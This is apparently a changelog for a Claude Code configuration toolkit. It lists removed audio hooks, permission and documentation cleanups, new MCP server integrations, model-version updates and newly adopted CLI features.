Audio Removal + Pre-TS-Migration Deslop
- Removed
scripts/notify-sound.sh(146 lines) and all 8 hook invocations — audio feedback unused in practice. - Removed
PermissionDeniedhook event entirely — its only action wasnotify-sound.sh safety_block. - Removed
PostToolUse if: Bash(git commit*)hook — was commit sound only. - Simplified PreToolUse
safety-net.shwrapper — dropped the sound-on-block branch; direct script invocation now. - Dropped
Bash(afplay:*)from.claude/settings.local.json. - Pruned
hooks-config.json— removedaudio.*(14 lines) and stalecompact_reminder(3 lines) sections. - Removed dead
is_hook_enabledfunction fromlib/hook-config.sh(no callers). - Stopped sourcing
lib/hook-config.shinsetup.sh— it's runtime-only (used bysession-start.sh). - Doc sync: corrected hook-event count (23/26 → 27) across
README.md,hooks/README.md,docs/hooks-reference.md; added missingPostCompact,StopFailure,TaskCreatedrows.
New MCP Servers
- Figma Dev Mode MCP — Remote HTTP at
https://mcp.figma.com/mcp. OAuth on first use. Design-to-code: tokens, styles, component props, variables. - Chrome DevTools MCP — Stdio via
chrome-devtools-mcp@latest. Performance traces, network, console, user simulation. Preferred overlighthouseCLI for Core Web Vitals.
Duplication & Native-Replacement Cleanup
model: "opus[1m]"→"opus"— 1M context is default on Max plans (v2.1.75+).- Removed
Bash(cat|head|tail|less|sed -n):*frompermissions.allow— CLAUDE.md instructs Claude to use Read/Edit tools. - Simplified
PermissionDeniedhook — dropped bespoke logging (native/less-permission-promptsin v2.1.111 covers it). - Simplified
Stophook — droppedcompact-reminder.shcall (native/contexttips in v2.1.108 cover it). - Removed
skills/effort/— superseded by native/effortinteractive slider (v2.1.111). - Removed
scripts/permission-denied.sh,scripts/compact-reminder.sh— no longer referenced.
Docs
- New
docs/cache-strategy.md— KV-cache prefix ordering and wake-up budget guidance moved out of CLAUDE-FULL.md. CLAUDE-FULL.md182 → 161 lines — Cache-Friendly Context Ordering and Hook Events sections replaced with pointers.- Stale references swept — MANUAL.md, USAGE.md, hooks-reference, frontmatter-reference, hooks/README, skills/README, skill-patterns.sh, skill-activation.sh, setup.sh.
Model Update: Opus 4.7
- Updated all model references from Opus 4.6 / Sonnet 4.6 to Opus 4.7 / Sonnet 4.7
- Updated across: CLAUDE-FULL.md, settings-reference, MANUAL, USAGE, plugin.json, skills, rules, tests
New Features Adopted (Claude Code v2.1.108–v2.1.110)
ENABLE_PROMPT_CACHING_1H— Enabled 1-hour prompt cache TTL in settings.json env block. Extends KV-cache reuse from 5 minutes to 1 hour (API key, Bedrock, Vertex, Foundry)./tui fullscreen— Documented flicker-free fullscreen rendering mode (pairs with existingCLAUDE_CODE_NO_FLICKER=1env var)./focus— Documented transcript toggle (normal vs verbose view)./recap— Documented session recap feature; auto-triggers on session return.- Output token limits — Documented 64K default / 128K upper bound for Opus/Sonnet.
PermissionDeniedhook — Added to Hook Events listing in CLAUDE-FULL.md (27 events, up from 26). Already configured in settings.json since v7.x.- Hooks reference update — Added
PermissionDeniedevent to docs/hooks-reference.md with env vars ($TOOL_NAME,$PERMISSION_DECISION_REASON) and configured hook entry.
Files Changed
CLAUDE-FULL.md— Model version, session commands, output limits, cache env var, hook countsettings.json— AddedENABLE_PROMPT_CACHING_1Henv varrules/git.md— Updated attribution exampledocs/settings-reference.md— Updated model tabledocs/hooks-reference.md— Added PermissionDenied event, env vars, configured hook section.claude-plugin/plugin.json— Updated keywordMANUAL.md— Updated statusline exampleUSAGE.md— Updated statusline exampleskills/context/SKILL.md— Updated statusline and degradation tabletests/safety-net-test.sh— Updated test fixture
Previous Versions
Pre-unification milestones (product versioned as v5–v8; installer versioned 8–10 separately):
- v8.0.0 — 1M context window default via
opus[1m]model alias - v7.x — Hook system expansion (27 events), PermissionDenied hook, conditional
iffield - v6.x — Agent Teams, TLDR integration, skill system
- v5.x — Portable AGENTS.md, two-tier knowledge system